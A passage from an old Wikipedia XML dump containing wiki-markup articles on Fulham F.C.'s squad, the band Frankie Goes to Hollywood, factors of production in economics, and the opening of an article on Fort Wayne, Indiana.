{{Fs player| no= 6| nat=England     | pos=DF| name=[[Zat Knight]]}}
{{Fs player| no= 7| nat=Wales       | pos=MF| name=[[Mark Pembridge]]}}
{{Fs player| no= 8| nat=Denmark     | pos=MF| name=[[Claus Jensen]]}}
{{Fs player| no= 9| nat=England     | pos=MF| name=[[Michael Brown (footballer)| Michael Brown]]}}
{{Fs player| no=10| nat=Iceland     | pos=FW| name=[[Heiðar Helguson]]}}
{{Fs player| no=11| nat=Portugal    | pos=FW| name=[[Luís Boa Morte]]}} (captain)
{{Fs player| no=13| nat=Canada      | pos=FW| name=[[Tomasz Radzinski]]}}
{{Fs player| no=14| nat=Senegal     | pos=MF| name=[[Papa Bouba Diop]]}}
{{Fs player| no=15| nat=Netherlands | pos=FW| name=[[Collins John]]}}
{{Fs player| no=17| nat=England     | pos=DF| name=[[Liam Rosenior]]}}
{{Fs player| no=18| nat=Australia   | pos=MF| name=[[Ahmad Elrich]]}}
{{Fs player| no=19| nat=France      | pos=DF| name=[[Philippe Christanval]]}}
{{Fs mid}}
{{Fs player| no=20| nat=United States| pos=FW| name=[[Brian McBride]]}}
{{Fs player| no=22| nat=England     | pos=DF| name=[[Dean Leacock]] }}
{{Fs player| no=23| nat=Ireland     | pos=MF| name=[[Michael Timlin]]}}
{{Fs player| no=24| nat=France      | pos=DF| name=[[Alain Goma]]}}
{{Fs player| no=26| nat=England     | pos=DF| name=[[Adam Green (footballer)|Adam Green]]}}
{{Fs player| no=27| nat=New Zealand | pos=MF| name=[[Simon Elliott]]}}
{{Fs player| no=28| nat=England     | pos=DF| name=[[Liam Fontaine]]}}
{{Fs player| no=29| nat=Finland     | pos=GK| name=[[Antti Niemi]]}}
{{Fs player| no=30| nat=Trinidad and Tobago| pos=GK| name=[[Tony Warner]]}}
{{Fs player| no=31| nat=England     | pos=DF| name=[[Wayne Bridge]] |other= On loan from [[Chelsea F.C.|Chelsea]]}}
{{Fs player| no=32| nat=England     | pos=MF| name=[[Matthew Collins]]}}
{{Fs player| no=33| nat=Denmark     | pos=DF| name=[[Niclas Jensen]] }}
{{Fs player| no=34| nat=England     | pos=MF| name=[[Neale McDermott]]}}
{{Fs player| no=35| nat=England     | pos=DF| name=[[Ian Pearce]]}}
{{Fs player| no=#| nat=France      | pos=FW| name=[[Ismael Ehui]]}}
{{Fs player| no=#| nat=England     | pos=FW| name=[[Chris James (footballer)|Chris James]]}}
{{Fs end}}

===Players out on loan===
{|
{{Fs player| no=16| nat=Portugal    | pos=GK| name=[[Ricardo Batista]] | other=on loan to [[Milton Keynes Dons F.C.|MK Dons]]}}
{{Fs player| no=21| nat=Pakistan     | pos=DF| name=[[Zeshan Rehman]] | other=on loan to [[Norwich City F.C.|Norwich]]}}
{{Fs player| no=25| nat=Czech Republic| pos=GK| name=[[Jaroslav Drobny (footballer)|Jaroslav Drobny]] | other=on loan to [[ADO Den Haag]]}}
{{Fs player| no=#| nat=England    | pos=MF | name=[[Darren Pratley]] | other=on loan to [[Brentford F.C.|Brentford]] until January 2006}}
{{Fs player| no=#| nat=England     | pos=DF| name=[[Robert Watkins]] | other=on loan to [[Gravesend &amp; Northfleet F.C.|Gravesend &amp; Northfleet]] until February 23rd}}
|}

==External links==
{{BBC Football Info|BBClinkname=f/fulham}}
* [http://www.fulhamfc.com/ Official website]
* [http://www.fulhamsupporterstrust.com/ Fulham Supporters' Trust]
* [http://www.fulhamweb.com/ Fulhamweb a fan website]
* [http://www.fulhamusa.com/ Fulham USA]
*[http://www.4thegame.com/club/ffc/ 4thegame.com's Fulham page]
*[http://www.toofif.com/ The Website of a Popular Fanzine] - [[There's Only One F in Fulham]] (TOOFIF)
*[http://www.t-f-i.com/ The Fulham Independent - a busy unofficial messageboard]
*[http://www.yanks-abroad.com/content.php?mode=search&amp;s=Fulham Fulham articles on Yanks Abroad]
*[http://www.footballchants.org/viewChantsRecent.php?teams=13 Fulham Football Chants]
* [http://extratime.corporalcarrot.co.uk/mag/club/fulham.php Fulham FC Diary - UK]


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  </page>
  <page>
    <title>Frankie Goes to Hollywood</title>
    <id>11229</id>
    <revision>
      <id>41961116</id>
      <timestamp>2006-03-02T22:19:32Z</timestamp>
      <contributor>
        <ip>86.52.36.140</ip>
      </contributor>
      <comment>/* &quot;Relax&quot; */</comment>
      <text xml:space="preserve">[[Image:Relax single.jpg|right|thumb|200px|Frankie Goes to Hollywood's biggest selling single, &quot;Relax&quot;.]]
'''Frankie Goes To Hollywood''' (FGTH) was one of the biggest, most controversial and most marketed [[United Kingdom|UK]] pop acts of the [[1980s]]. The band was fronted by [[Liverpool|Liverpudlian]] singer [[Holly Johnson]], and was supported by [[Paul Rutherford]] along with [[Peter Gill]], [[Mark O'Toole]] and [[Paul McGurk]]. Its debut single &quot;[[Relax (single)|Relax]]&quot; was famously banned by the [[BBC]] and subsequently [[List of Number 1 singles from the 1980s (UK)#1984|topped the UK singles chart]]. Along with &quot;Two Tribes&quot; and &quot;The Power of Love&quot;, FGTH became only the second band in the history of the UK charts to reach number one with their first three singles (the first was [[Gerry and the Pacemakers]], in 1964).

FGTH have recently begun touring again with new lead singer [[Ryan Molloy]].

==Career==

===Formation===
Emerging from the late [[1970s]] [[Liverpool]] [[punk culture|punk]] movement (key member [[Paul Rutherford]] had previously been in bands including [[The Spitfire Boys]]), FGTH are said to have taken their name from a newspaper headline referring to either [[Frank Sinatra]] or, more likely, [[Frankie Vaughan]]. Both names were mentioned in early interviews, though the Sinatra explanation is the one that has stuck.  (This could be seen as meaning that the famous ''&quot;Frankie Say...&quot;'' quotes are from Vaughan, or Sinatra, although they obviously are not from either).

Lead singer [[Holly Johnson]], a fellow Liverpool punk veteran from the band [[Big In Japan]] (which also featured future [[Lightning Seeds]] frontman [[Ian Broudie]]), recruited Rutherford as co-singer. Local musicians [[Peter Gill]] ([[drums]]), [[Jed O'Toole]] ([[bass guitar|bass]]) and Jed's [[cousin]] [[Brian Nash]] ([[guitar]]) then joined. The band set out playing shows around the locality. O'Toole quit shortly afterwards but supplied the band with a replacement &amp;mdash; his younger brother [[Mark O'Toole]], whom Jed had taught how to play (Jed also taught Nash the guitar).

FGTH were signed up to [[Trevor Horn]]'s new [[ZTT Records|ZTT]] record label after a raw video for the song &quot;Relax&quot; was shown on [[Channel_4|Channel 4]]'s music programme ''[[The_Tube_(TV_series)|The Tube]]''. With a brief from the band to make them sound like &quot;a cross between [[Donna Summer]] and [[KISS (band)|KISS]]&quot;, Horn set to work on their [[Debut album|debut]] single.

===&quot;Relax&quot;===
The final cut of &quot;Relax&quot; was released at the end of [[1983]] and got a modicum of airplay, allowing it steady progress into the UK Top 40. After an appearance on ''[[Top Of The Pops]]'', the song shot into the Top 10 &amp;mdash; and then would come the incident which would propel both song and band into pop notoriety forever.

[[BBC Radio 1]] [[disc jockey]] [[Mike Read]] was playing the record on his show when he noticed the mild sexual imagery used as a design on the front cover, including one of the more salacious quotes from the lyrics. This prompted him to listen more intently to the words, and his reaction was such that he removed the disc from the turntable live on air, snapped it in two and branded it &quot;disgusting&quot;.

On [[January 10]], [[1984]], two months after its release, and without Read's knowledge or input, the [[BBC]] decided to ban the record from all its TV and radio outlets. A surge to buy the single and find out what the controversy was about followed. Music [[journalist]] and ZTT associate [[Paul Morley]] immediately started a PR campaign which led to a massive demand for the band and song.

&quot;Relax&quot; immediately shot to Number 1 in the charts and stayed there for five weeks, leading to the ludicrous and embarrassing situation for the BBC whereby they couldn't feature the nation's best-selling single on their flagship chart shows on TV and radio.

[[Image:Frankie says relax t-shirt.jpg|right|thumb|200px|T-shirt slogan design similar to original &quot;Frankie Say Relax&quot; design by [[Katharine Hamnett]].]]
Also getting in on the act was fashion designer [[Katharine Hamnett]], who designed a range of minimalist, sloganeering [[T-shirt]]s: &quot;Frankie Say Relax Don't Do It&quot;, &quot;Frankie Say War Hide Yourself&quot;, &quot;Frankie Say Arm The Unemployed&quot;. (T-shirts with &quot;Frankie Say'''s'''&quot; were knockoffs.) Prior to these, Hamnett had also designed the familiar &quot;Choose Life&quot; T-shirts worn by [[Wham! (pop duo)|Wham!]] on their video for &quot;Wake Me Up before You Go Go&quot;.

The offending nature of &quot;Relax&quot; was difficult to decipher entirely, although outrage was expressed in some quarters.

Allegedly the expression '''''...when you want to suck it to it...''''' which appeared on the sleeve and caused Read's outrage was, in fact, a deliberate inaccuracy placed on the sleeve to cause extra interest and intrigue. The real words were, in fact, '''''...when you want to SOCK it to it...'''''. As for the expression '''''...when you want to come...''''', the imagery is inescapable.  The design, meanwhile, depicted a man and woman pressed against each other, back to back, with clothed upper bodies but bared [[buttocks]]. In a relatively liberalised mid-[[1980s]] period, this was saucy at best, not shocking. The [[video]], however, was unsurprisingly banned as it depicted an [[Sadism and masochism|S&amp;M]] den (filmed in a Liverpool [[nightclub]] called ''The Coconut Grove'', near Johnson's home at the time).

Adding to the controversy surrounding the song, rumours began to circulate after its release that the single had actually been recorded by session musicians. Some time later, producer [[Trevor Horn]] admitted that in fact he had cut a 'demo' version of the track with [[The Blockheads]], the renowned backing group for [[New Wave music|New Wave]] icon [[Ian Dury]]. He then cut a second version with FGTH, but was unhappy with the result and took the tape away to work on it. The perfectionist Horn then spent five weeks refining it, augmenting the basic tracks with extensive overdubs by session musicians. &quot;Relax&quot; was a massive gamble for Horn and his record label, ZTT, and its failure could well have bankrupted him. By the time it was completed, it had cost £70,000 in studio time alone, with the video clip costing an additional £15,000.

&quot;Relax&quot; was revolutionary on the European dance scene in that the single spawned an hitherto unprecedented number of various 12 inch versions which were aggressively marketed for the wider consumer market. Most notable is the &quot;Sex Mix&quot; otherwise known as the &quot;New York Mix&quot; which borrowed heavily from Evelyn Thomas' disco song &quot;Hi-Energy&quot;. Also notable is the &quot;Party Trick&quot; extended remix which clocks in at 17 minutes and features an introductory acapella version of &quot;Relax&quot;, plus additional lyrics by lead vocalist Holly Johnson not found on the 7 inch version of the song.

===&quot;Two Tribes&quot;===
&quot;Relax&quot; was followed into the charts by &quot;Two Tribes&quot;, a topical song about [[nuclear war]]. Featuring sirens, the unmistakable voice of [[Patrick Allen]] (who voiced the [[British Government]]'s actual nuclear warning ads two years earlier) and another hard-faced, electronic backing, it went into the UK charts straight in at Number 1 and stayed there for a phenomenal nine weeks (the first to do so for seven years). Especially notable is the Joy Division/New Order and Gang of Four inspired dominance of repetitive bass lines in the soundscape coupled with a Western movie soundtrack inspired string symphony. This sound was exhausted on numerable 12 inch remixes of the song. Arguably this particular sound has inspired numerous English techno acts, including Underworld and Apollo 440.

There were no problems with the song this time, but again the video was not shown on British television, this time due to its overtly violent nature. Directed by the renowned duo of [[Kevin Godley]] and [[Lol Crème]] (half of '70s rock band [[10cc]]) it featured [[lookalike]]s of [[Cold War]] leaders [[Ronald Reagan]] and [[Chernenko|Konstantin Chernenko]] wrestling in a [[marquee]] while band members and others laid bets on the outcome. Ultimately, the [[globe]] was seen to [[explode]].

What made the reign of &quot;Two Tribes&quot; at the top even more notable was the continuing success of its predecessor. &quot;Relax&quot; had made a natural decline down the charts but on the release of &quot;Two Tribes&quot;, sales of it began to rise again to the extent that FGTH held the top two spots in the UK charts, the first act to do so since the [[posthumous]] clamour for singles by [[John Lennon]] at the beginning of [[1981]].

===&quot;The Power Of Love&quot;===
FGTH released a third single, &quot;[[The Power Of Love (Frankie Goes to Hollywood)|The Power Of Love]]&quot;, at the end of [[1984]]. A surprisingly thoughtful, well-arranged ballad, it went to Number 1 in [[December]] and gave the band the honour of being the first act for two decades (since [[Gerry and the Pacemakers]] in [[1964]]) to achieve chart-toppers with its first three releases. The video was not banned on this occasion but still caused strife for the group &amp;mdash; it depicted a [[nativity]] scene, lumping it (wrongly) in the category of [[Christmas]]-only records. As a result, to this day [[radio]] stations seem to give it airplay only during the festive period. The lyrics are not directly concerned with Christmas, however.

The [[Band Aid (band)|Band Aid]] project, for which Johnson recorded a message for the B-side, meant that FGTH managed only one week at the top this time before it was replaced by &quot;[[Do They Know It's Christmas?]]&quot;. 1984 also saw the release of their [[debut album|debut]] album, ''Welcome To The Pleasuredome'', but this was poorly received by the critics and didn't sell as well as expected. Along with the singles and title track, it featured a mixture of thrown-together covers (including &quot;[[Born To Run]]&quot; from [[Bruce Springsteen]], &quot;[[San Jose]]&quot;, &quot;[[Ferry Cross The Mersey]]&quot;) and humour-free Liverpudlian asides and skits.

The BBC lifted its ban on &quot;Relax&quot; at the end of 1984 to allow the band to perform it on the Christmas edition of ''Top Of The Pops'' (it was, aside from Band Aid, the biggest-selling single of the year).

The album's title track, &quot;Welcome To The Pleasuredome&quot;, was released as a single at the beginning of [[1985]] and peaked at Number 2, leading to absurd claims that the band was on the decline. It turned out the snipers were correct, however, but not for the alleged 'failure' of a Number 2 hit. In fact, the demise of the band was more down to lack of material and skill. Contrary to popular belief, Frankie ''could'' play their instruments, as two world tours testified, but their attitude was in question after such immediate success.

===Decline and breakup===
In August [[1986]] the new single &quot;Rage Hard&quot; reached #4 in the UK.  But the corresponding album ''Liverpool'', released in October, was panned by the music press, and chart results declined rapidly on the follow-up singles &quot;Warriors of the Wasteland&quot; (#19) and &quot;Watching The Wildlife&quot; (#28).  In the midst of these diminishing returns, a backstage altercation between Johnson and Nash at [[Wembley Arena]] in January 1987 reflected the collapsing relationship between the lead singer and the rest of the band.  FGTH completed the tour, but Johnson left the group immediately thereafter.

In the aftermath of the split, Johnson was offered a recording agreement with [[MCA]] Records.  ZTT, which had invested heavily in ''Liverpool'' (to the point where the digital recording system used to record the album was very nearly treated as a sixth member of the band on the sleeve of the &quot;Warriors of the Wasteland&quot; single), had other ideas, and promptly sued Johnson in an attempt to hold him to his original contract with the label.  Among other things, ZTT believed that as the departing member of FGTH, Johnson was required to release all solo material through the label until the band's original multiple-album agreement was fulfilled.  The suit was bitterly fought, exposing the inner workings of the ZTT/Frankie machine to a giddy UK music press.  After two weeks the High Court found in Johnson's favor, holding that the highly restrictive terms of the contract constituted an unreasonable restraint of trade.

===Later years===
Johnson's [[Solo (music)|solo]] career at MCA commenced in [[1989]], with a succession of high-placed singles and the reasonably successful album ''Blast''.  The remix collection ''Hollelujah'' followed, trailed by a second studio album ''Dreams That Money Can't Buy''.  He would later become a reclusive but successful painter after announcing in [[1993]] that he was living with the [[HIV]] virus.  The following year, Johnson recounted his version of Frankie's history in his autobiography ''A Bone In My Flute''.  His self-issued 1999 album ''Soulstream'' included a re-recording of &quot;The Power Of Love&quot;, which was also released as a single.  Rutherford, the other openly [[gay]] member of the band, released the [[American Broadcasting Company|ABC]]-produced album ''Oh World'' and a handful of singles before retiring with his partner to a farm in New Zealand to raise a family.  The 'other three', as pop [[magazine]] ''Smash Hits'' labelled them, continued to work behind the scenes in the [[studio]] on other people's projects.  As &quot;Nasher&quot;, Nash released a 2002 solo album entitled ''Ripe''.

The band's name lived on to the extent that re-issues of &quot;Relax&quot; and &quot;The Power Of Love&quot; both returned to the UK Top 10 in [[1993]]. [[Remix]]es of &quot;The Power Of Love&quot; (which became a dance anthem from its original lite-jazz ballad format) and &quot;Two Tribes&quot; were Top 20 hits in [[1997]], while &quot;Welcome To The Pleasuredome&quot; also got successful remix treatment to the extent of a Top 20 placing four years earlier.  ZTT keeps the FGTH back-catalog alive into the new century with periodic reconfigurations, remasters, and further remixes by an ever-growing pool of dance producers, continuing the tradition that began with the multiple variations of the &quot;Relax&quot; 12&quot; issued in 1983. &quot;Two Tribes&quot; was later played in the video game [[Grand Theft Auto: Vice City]].

The group's first two singles appeared sixth and 22nd respectively in the official [[List of best selling singles (UK)|all-time UK best-selling singles list]] issued in [[2002]].
 
A band called &quot;The New Frankie Goes To Hollywood&quot; appeared&lt;!-- when? --&gt;, fronted by Davey Johnson, who claimed to be Holly Johnson's brother. The band plays a few Frankie tracks, but actually has nothing to do with FGTH. Likewise, &quot;Davey Johnson&quot; is no relative of Holly's. The band is also not to be confused with the FGTH conventions related to ''The [[Rocky Horror Picture Show]]''.

===Reunion and comeback===
In [[2003]], the [[VH-1]] program ''[[Bands Reunited]]'' brought Johnson, Rutherford, Gill, O'Toole and Nash together from the far corners of the world in hopes of their performing on the show.  By all appearances the bandmates got on well enough and enjoyed seeing one another again, but none of them seemed particularly surprised when Johnson scuttled the envisioned mini-concert with his (literal) last-minute refusal to perform with the rest of the band.

To celebrate the 25th anniversary of Trevor Horn's involvement in the music industry, in [[2004]] a special concert took place at Wembley Arena in [[November]] which featured three of the FGTH personnel. Once again an exception was Johnson, who announced via the [[Internet]] that he would not be appearing, and who stuck to this decision despite much worldwide protest from fans yearning to see the five play together again.  The band held an open audition for a new singer for the concert and recruited Ryan Molloy as a result. Nash also declined to take part in the concert for his own reasons.

The same lineup (with Molloy, and without Johnson or Nash) reunited for a tour in [[2005]]. They headlined at [[Faceparty]]'s [[Big Gay Out]] festival.

==Legacy==
Observers of FGTH's era state that despite the presence of openly gay members and suggestive lyrics and sleeves, the band's raw, aggressive sound avoided alienating a [[heterosexual]] male audience, leading some to change their attitudes towards [[homosexuality|homosexual]] people. Thus, even though ultimately many do not consider their music to be the best of the vibrant mid-1980s era, FGTH is considered by some to have been a very important band for reasons beyond music.

==Band members==

===FGTH 1980's members===
*[[Holly Johnson]] - Vocals (-1987)
*[[Mark O'Toole]] - Bass
*[[Brian Nash]] - Guitar
*[[Peter Gill]] - Drums
*[[Paul Rutherford]] - Backing vocals, dancing and [[merchandise]] modelling &lt;i&gt;(&quot;just for the smell of it&quot;)&lt;/i&gt;

===FGTH Today members===
*[[Ryan Molloy]] - Vocals
*[[Mark O'Toole]] - Bass
*[[Jed O'Toole]] - Guitar
*[[Peter Gill]] - Drums
*[[Paul Rutherford]] - Backing vocals

==Discography==
===Albums===

====Original material====
*''[[Welcome To The Pleasuredome (album)|Welcome To The Pleasuredome]] (1984)
*''[[Liverpool (album)|Liverpool]] (1986)

====Compilations====
*''[[Bang!... The Greatest Hits (album)|Bang!… The Greatest Hits Of Frankie Goes To Hollywood]]'' (1994)
*''[[Reload - The Whole 12 Inches (album)|Reload - The Whole 12 Inches]]'' (1994)
*''[[Maximum Joy (album)|Maximum Joy]]'' (2000)
*''[[The Club Mixes 2000 (album)|The Club Mixes 2000]]'' (2000)
*''[[Twelve Inches (album)|Twelve Inches]]'' (2001)

===Singles===
The original singles released during the time the band was together:
*[[Relax (single)|Relax]] (1983)
*[[Two Tribes]] (1984)
*[[The Power Of Love (Frankie Goes to Hollywood)|The Power Of Love]] (Nov 1984)
*[[Welcome To The Pleasuredome (single)|Welcome To The Pleasuredome]] (1985)
*[[Rage Hard]] (1986)
*[[Warriors Of The Wasteland]] (1986)
*[[Watching The Wildlife]] (1987)

==Trivia==
* The song ''Two Tribes'' is featured in the [[PlayStation 2]] video-game [[Grand Theft Auto:Vice City]] as part of the radio station [[Wave 103]].

* The [[Little Britain]] character [[Lou Todd]] was seen wearing a &quot;Frankie says Relax&quot; t-shirt in many of the sketches.

* The T-Shirt ''Frankie Says Relax'' was featured as a plot device on an episode of [[Friends]]. When Ross and Rachel were breaking up in Season 3, Rachel gives Ross back his things from her apartment. Ross then angrily asks for his &quot;Frankie Says Relax&quot; T-shirt, going as far as to put it on to 'prove' how much he loves the T-shirt (despite that it's a size or two too short and was given to Rachel). At the end of the episode, when Ross delivers a box with Rachel's things from his apartment, the only content is the T-shirt - showing that Ross doesn't really hold a grudge against Rachel.

* In ''[[Zoolander]]'', Jacobin Mugato (aka Jacob Moogberg) was a fictional member of FGTH who was ousted from the band before the release of &quot;Relax.&quot;  The song also features prominently in the central plot of the film.

==Computer game==
In 1985, a [[Frankie Goes To Hollywood (game)|Frankie Goes To Hollywood computer game]] was created, based on the music of the band. The objective of the admittedly-strange game was to explore Mundanesville and find the Pleasuredome.

==External links==
*[http://www.fgth.org.uk Frankie Goes To Hollywood Official Site]
*[http://www.fgthonline.org.uk FGTHOnline - Home of the Frankie Wiki]
*[http://ztt-info.de ZTT - Two Decades] (fan page about ZTT - incl. FGTH)

[[Category:New Wave groups]]
[[Category:English musical groups]]
[[Category:1980s music groups]]
[[Category:ZTT Records artist]]
[[Category:Music from Liverpool, England]]
[[Category:Gay icons]]
[[cs:Frankie Goes to Hollywood]]
[[de:Frankie Goes To Hollywood]]
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[[sv:Frankie Goes to Hollywood]]</text>
    </revision>
  </page>
  <page>
    <title>Fulham Football Club</title>
    <id>11230</id>
    <revision>
      <id>15908993</id>
      <timestamp>2002-02-25T15:51:15Z</timestamp>
      <contributor>
        <username>Mintguy</username>
        <id>3295</id>
      </contributor>
      <comment>moved to &quot;Fulham_F.C.&quot;</comment>
      <text xml:space="preserve">#REDIRECT [[Fulham_F.C.]]
</text>
    </revision>
  </page>
  <page>
    <title>Factors of production</title>
    <id>11231</id>
    <revision>
      <id>40795732</id>
      <timestamp>2006-02-23T01:50:32Z</timestamp>
      <contributor>
        <ip>210.54.239.196</ip>
      </contributor>
      <comment>/* Classical view as the base of microeconomic theory */</comment>
      <text xml:space="preserve">'''Factors of production''' are resources used in the production of goods and services in economics.  Classical [[economics]] distinguishes between three factors:

*[[land (economics)|Land]] or natural resources - naturally-occurring goods such as soil and minerals that are used in the creation of products. The payment for land is [[Economic_rent|rent]].  
*[[labour (economics)|Labor]] - human effort used in production which also includes technical and marketing expertise. The payment for labor is a [[wage]].  
*[[Capital (economics)|Capital goods]] - human-made goods (or [[means of production]]) which are used in the production of other goods. These include machinery, tools and buildings. In a general sense, the payment for capital is called [[interest]]. 

These were codified originally in the analyses of [[Adam Smith]], [[1776]], [[David Ricardo]], [[1817]], and the later contributions of [[Karl Marx]] and [[John Stuart Mill]] as part of one of the first coherent theories of production in [[political economy]]. Marx refers in [[Das Kapital]] to the three factors of production as the &quot;holy trinity&quot; of political economy.

In the classical analysis, working capital was generally viewed as being a stock of physical items such as tools, buildings and machinery. This view was explicitly rejected by Marx. Modern economics has become increasingly uncertain about how to define and theorise capital (see [[capital controversy]]).

With the [[emergence]] of the [[knowledge economy]], more modern analysis often distinguishes this [[physical capital]] from other forms of capital such as &quot;[[human capital]]&quot; (economics jargon for education or training). 

Also, some economists mention enterprise, [[entrepreneurship]], [[individual capital]] or just &quot;leadership&quot; as a ''fourth'' factor. However, this seems to be a form of labor or &quot;human capital.&quot; When differentiated, the payment for this factor of production is called [[profit]]. This is when entrepreneurs think of ideas, organise the other three factors of production, and take risks with their own money and the financial capital of others.

In a market economy, entrepreneurs combine land, labor, and capital to make a profit. In a planned economy, central planners decide how land, labor, and capital should be used to provide for maximum benefit for all citizens.

The classical theory, further developed, remains useful to the present day as a basis of [[microeconomics]]. Some more means that deal with factors of production are as follows:  
*'''Entrepreneurs''' are people who organize other productive resources to make goods and services.  The economists regard entrepreneurs as a specialist form of labor input.  The success and/or failure of a business often depends on the quality of entrepreneurship.
*'''Capital''' has many meanings including the finance raised to operate a business.  Normally though, capital means investment in goods that can produce other goods in the future.  It can also be referred to as machines, roads, factories, schools, and office buildings in which humans produced in order to produce other goods and services.  Investment is important if the economy is to achieve economic growth in the future.
*'''Human Capital''' is the quality of labor resources which can be improved through investments, education, and training.
*'''Fixed Capital''' this includes machinery, work plants, equipment, new technology, factories, buildings, and goods that are designed to increase the productive potential of the economy for future years.
*'''Working Capital''' this includes the stocks of finished and semi-finished goods that we be economically consumed in the near future or will be made into a finished consumer good in the near future.

== Developments and Alternative views ==

===Classical view as the base of microeconomic theory===
Although it did not deal substantially with complex issues of a sophisticated modern economy, the classical theory remains useful to the present day as the basis of [[microeconomics]], however many distinctions one cares to make or macro-theory or [[political economy]] one chooses to apply to trade them off or set their valuations in society at large.

[[land (economics)|Land]] has become [[natural capital]], imitative aspects of [[labour (economics)|Labor]] have become [[instructional capital]], creative or inspirational aspects or &quot;Enterprise&quot; have become [[individual capital]] (in some analyses), and [[social capital]] has become increasingly important.  The classical relationship of [[financial capital]] and [[infrastructural capital]] is still recognized as central, but there is a wider debate on [[means of production]] and various [[means of protection]], or &quot;property rights&quot;, to secure their reliable use.

When disputes arise regarding these fine distinctions, most economists will fall back to the

==See also==
* [[microeconomics]]
* [[production theory basics]]
* [[production, costs, and pricing]]
* [[labor theory of value]]
* [[cost of production theory of value]]
* [[optimum factor allocation]]

[[Category:Production]]

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[[nl:Productiefactor]]
[[pl:Czynniki produkcji]]
[[sk:Výrobné faktory]]
[[sv:Produktionsfaktorer]]
[[vi:Các yếu tố sản xuất]]
[[zh:category:生產要素]]</text>
    </revision>
  </page>
  <page>
    <title>Fort Wayne, Indiana</title>
    <id>11232</id>
    <revision>
      <id>42160821</id>
      <timestamp>2006-03-04T05:36:12Z</timestamp>
      <contributor>
        <username>Dale Arnett</username>
        <id>25667</id>
      </contributor>
      <minor />
      <comment>/* Athletes */</comment>
      <text xml:space="preserve">{{Infobox City |
official_name = City of Fort Wayne, Indiana |
nickname = [[The Summit City]] |
image_skyline = Fort Wayne Skyline.png |
image_flag = FortWayneFlag.png |
image_seal = Fort_wayne_seal.jpg |
image_map = US-IN-Fort_Wayne.png |
map_caption = Location in the state of [[Indiana]], [[United States|USA]] |
subdivision_type = [[List_of_Indiana_counties|County]] |
subdivision_name = [[Allen County, Indiana|Allen]]|
leader_title = [[Mayor]] |
leader_name = [[Graham Richard]] (D)|
area_note = |
area_magnitude = 1 E9 |
area_total = 204.92 |
area_land = 204.48 |
area_water = 0.4 |
population_as_of = 2004 |
population_note = |
population_total = 219,351 |
population_density = 1,072.73|
timezone = [[Eastern Standard Time|EST]] |
utc_offset = &amp;minus;5 |
timezone_DST = [[Eastern Daylight Time|EDT]] |
utc_offset_DST = &amp;minus;4 |
latitude = 41&amp;deg;4'42&quot; N |
longitude = 85&amp;deg;7'36&quot; W |
website = [http://www.cityoffortwayne.org/ City of Fort Wayne] |
footnotes = |
}}

'''Fort Wayne''' is a [[city]] and the [[county seat]] of [[Allen County, Indiana|Allen County]] in northeastern [[Indiana]], [[United States|USA]].  As of the [[2004]] update of the [[United States Census, 2000|2000 census]], the city had a total population of 219,351 and a metropolitan population of 502,141.  It is named after a U.S. military fort established in [[1794]] by Gen. [[&quot;Mad&quot; Anthony Wayne]] where the [[St. Joseph River (Maumee River)|St. Joseph River]] and [[St. Marys River (Indiana)|St. Marys River]] join to form the [[Maumee River]].

==History==
Historically the site was known as [[Kekionga]], the traditional capital of the [[Miami tribe|Miami nation]]. In the [[1680s]], [[France|French]] traders established a trading post at the location because it was the main portage between the [[Great Lakes (North America)|Great Lakes]] via the Maumee River and the [[Mississippi River]] via the nearby Little River branch of the [[Wabash River]]. 

The French built the first fort on the site, [[Fort Miamis]], in 1697 as part of a group of forts built between [[Quebec]], [[Canada]] and [[St. Louis, Missouri|St. Louis]]. Forts Miamis was replaced by Fort St. Philippe in 1722. 

Increasing tension between France and the [[Kingdom of Great Britain|United Kingdom]] developed over the territory. In [[1760]], after defeat by British forces in the [[French and Indian War]], the area was ceded to the [[British Empire]]. The fort was renamed &quot;Fort Miami.&quot;

In [[1763]], various Native American nations rebelled against British rule and retook the fort as part of [[Pontiac's Rebellion]]. The Miami regained control of Kekionga, a rule that lasted for more than 30 years.

On [[October 22]], [[1794]], under the command of General [[Anthony Wayne]], the [[United States]] army captured the Wabash-Erie portage from the Miami and built a new fort near the three rivers. Fort Wayne was named for the general.

Eventually, the portage was replaced by the [[Wabash and Erie Canal]] in [[1833]]. Fort Wayne's significance as a waterway portage lost national prominence as the [[railroad]] system developed in the United States. For nearly a century it was an important railroad center between New York and Chicago.

On [[February 22]], [[1840]], the growing city incorporated as the City of Fort Wayne.

Most of the population growth occurred in the 19th century with immigration from Germany and Ireland. The large numbers of Roman Catholic and Lutheran churches reflect this. German-language newspapers were published into the 20th century.

Interesting Fact: Some inhabitants of Fort Wayne over the years have casually joked about how General [[Anthony Wayne]] only stayed in Fort Wayne for 4 days before departing.

[[Image:Fort-wayne-indiana-courthouse.jpg|thumb|300px|Allen County courthouse.]]

== Law and government ==
Fort Wayne has an elected [[mayor]], [[city clerk|clerk]] and [[city council]]-style of government.

===Executive - mayor===
Fort Wayne's mayor is [[United States Democratic Party|Democrat]] [[Graham Richard]], who has served in the post since January 2000. He was elected to a second term in 2003. 

*See, [[List of Fort Wayne, Indiana mayors]]

===City clerk===
[[United States Democratic Party|Democrat]] [[Sandra Kennedy]] has been Fort Wayne's city clerk since 1983.

===Representatives - common council===
The Fort Wayne Common Council is a nine-member legislative group that serve four-year terms. Six of the members represent specific districts; three are elected city-wide as at-large council members. The council elected on [[November 4]], [[2003]] will serve until [[December 31]], [[2007]]:
*John N. Crawford: At-Large, [[United States Republican Party|Republican]]
*Samuel J. Talarico, Jr: At-Large, [[United States Republican Party|Republican]]
*John Shoaff: At-Large, [[United States Democratic Party|Democrat]]
*Tom Smith: 1st District, [[United States Republican Party|Republican]]
*Donald J. Schmidt: 2nd District, [[United States Republican Party|Republican]]
*Tom Didier: 3rd District, [[United States Republican Party|Republican]]
*Thomas E. Hayhurst: 4th District, [[United States Democratic Party|Democrat]]
*Tim Pape: 5th District, [[United States Democratic Party|Democrat]]
*Glynn A. Hines: 6th District, [[United States Democratic Party|Democrat]]

==Geography==
Modern Fort Wayne is set in a productive agricultural area, but has always been an important transportation hub. Founded at the confluence of three rivers, the city was the summit of the [[Wabash_and_Erie_Canal|Wabash-Erie Canal]]. Fort Wayne also sits at the high point between two [[Watersheds of Indiana|Indiana watersheds]]; hence its nickname, &quot;Summit City.&quot;

Current Fort Wayne straddles [[Interstate 69]], and is served by [[Norfolk Southern]], [[Conrail]] and [[CSX]] [[rail transport|rail lines]] as well as [[Fort Wayne International Airport]] and Smith Field regional airport.

===Physical geography===
